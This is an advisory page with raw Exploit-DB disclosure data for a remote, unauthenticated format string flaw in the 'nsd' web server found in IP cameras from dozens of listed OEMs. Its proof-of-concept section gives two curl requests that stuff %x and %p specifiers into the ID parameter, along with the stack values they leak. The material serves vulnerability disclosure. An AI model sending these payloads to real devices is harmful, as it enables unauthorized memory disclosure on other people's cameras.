Remote Stack Format String in 'nsd' binary from multiple OEM

vendor:

nsd binary

by:

bashis

7,5

CVSS

HIGH

Remote Stack Format String

134

CWE

Product Name: nsd binary

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2017

Remote Stack Format String in ‘nsd’ binary from multiple OEM

A remote stack format string vulnerability exists in the 'nsd' binary from multiple OEMs. An attacker can send a specially crafted HTTP request containing format string specifiers to the vulnerable server, which can be used to leak memory contents from the stack. The researcher 'bashis' discovered the vulnerability in December 2017 and released a proof-of-concept (PoC) exploit on GitHub. The affected OEMs include Huatu, I-View, IP Camera Web Service, Stanley Security, 3D Eyes CCTV Platform, Protech Srl, LS vision, GWSECU, 12 Legion Solution, HDVuk IP Camera, Intervid Security, Suzuki Tech, Wellsite IP Camera, iBrido, Protec IP Camera, Maxtron IP Camera, Ascendent, GTvs IP Camera, Squilla, Bikal IP Camera, MW Power, Alfa Vision, KMA Security, Tough Dog Security, Kpro HQ, Lanetwork, AFM Vision, ZetaDo, Jobsight Inc., Datalab IP Technologies, 4Tvision, Proline UK, Tanz, Aisonic, HD-IP, PreSec Security Solution, and EagleVisi.

Mitigation:

The vendor should patch the vulnerable binary to prevent exploitation.

Source

Exploit-DB raw data:

[STX]

Subject: Remote Stack Format String in 'nsd' binary from multiple OEM

Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis <mcw noemail eu> (December 2017)
PoC: https://github.com/mcw0/PoC
Release date: December 14, 2017
Full Disclosure: 0-Day


-[ PoC ]-

1)
$ curl 'http://[IP:PORT]/main/index.asp?ID=AAAA|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x&lg=BBBB'

[...]
	 function initHideWidget(){
	 document.getElementById("devip").value = "192.168.57.20";
	 document.getElementById("cameraid").value = 1;
	 document.getElementById("streamid").value = 1;
	 document.getElementById("id").value = "AAAA|5e2ff9f8|ffffffff|5e3006db|ea60|1|2|1|1|0|20cd3e0|7263733c|20747069";
	 document.getElementById("lg").value = "BBBB";
	 document.getElementById("port").value = 60000;
	 document.getElementById("ipver").value = 1;
	 document.getElementById("tprotocol").value = 2;
	 document.getElementById("devtype").value = 1;
	 document.getElementById("ismotorize").value = 1;

[...]
Note: 'BBBB' are hiding within '5e3006db'

2)
curl -v "http://[IP:PORT]/Maintain/upgrade.asp?ID=|%p|%p|%p|%p|%p|%p"
[...]
	 function initHideWidget(){
	 document.getElementById("ip").value = "192.168.57.20";
	 document.getElementById("id").value = "|0x5d300484|0xffffffff|0xea60|0x1|0x2|0x1";
	 document.getElementById("port").value = 60000;
	 document.getElementById("ipver").value = 1;
	 document.getElementById("tprotocol").value = 2;
	 document.getElementById("devtype").value = 1;
[...]


-[ Affected OEM ]-

Huatu
I-View
IP Camera Web Service
Stanley Security
3D Eyes CCTV Platform
Protech Srl
LS vision 
GWSECU
12 Legion Solution
HDVuk IP Camera
Intervid Security
Suzuki Tech
Wellsite IP Camera
iBrido
Protec IP Camera
Maxtron IP Camera
Ascendent
GTvs IP Camera
Squilla
Bikal IP Camera
MW Power
Alfa Vision
KMA Security
Tough Dog Security
Kpro HQ
Lanetwork
AFM Vision
ZetaDo
Jobsight Inc.
Datalab IP Technologies
4Tvision
Proline UK
Tanz
Aisonic
HD-IP
PreSec Security Solution
EagleVision
Elemis Delta
Imenara
Gigamedia
Xavee
Honeywell
Boss Security
A.R.T Surveillance
Global Security
Securicorp
Securetech
Vapplica
Star
Stic
NeXus
Alnet
Spy Smart
Kompsos
Adler Security Systems
Nextan
Access
Toprotect
Kawah
LS StrateX
Senpei CCTV
Metcom
AFM Vision
Doron Technologies
Saviour Smart IoT Systems
Eagle-Eye
Faucon.at
BlueEagle Security
Campro
Opple
Level One
Video and Monitor System
K&D

[ETX]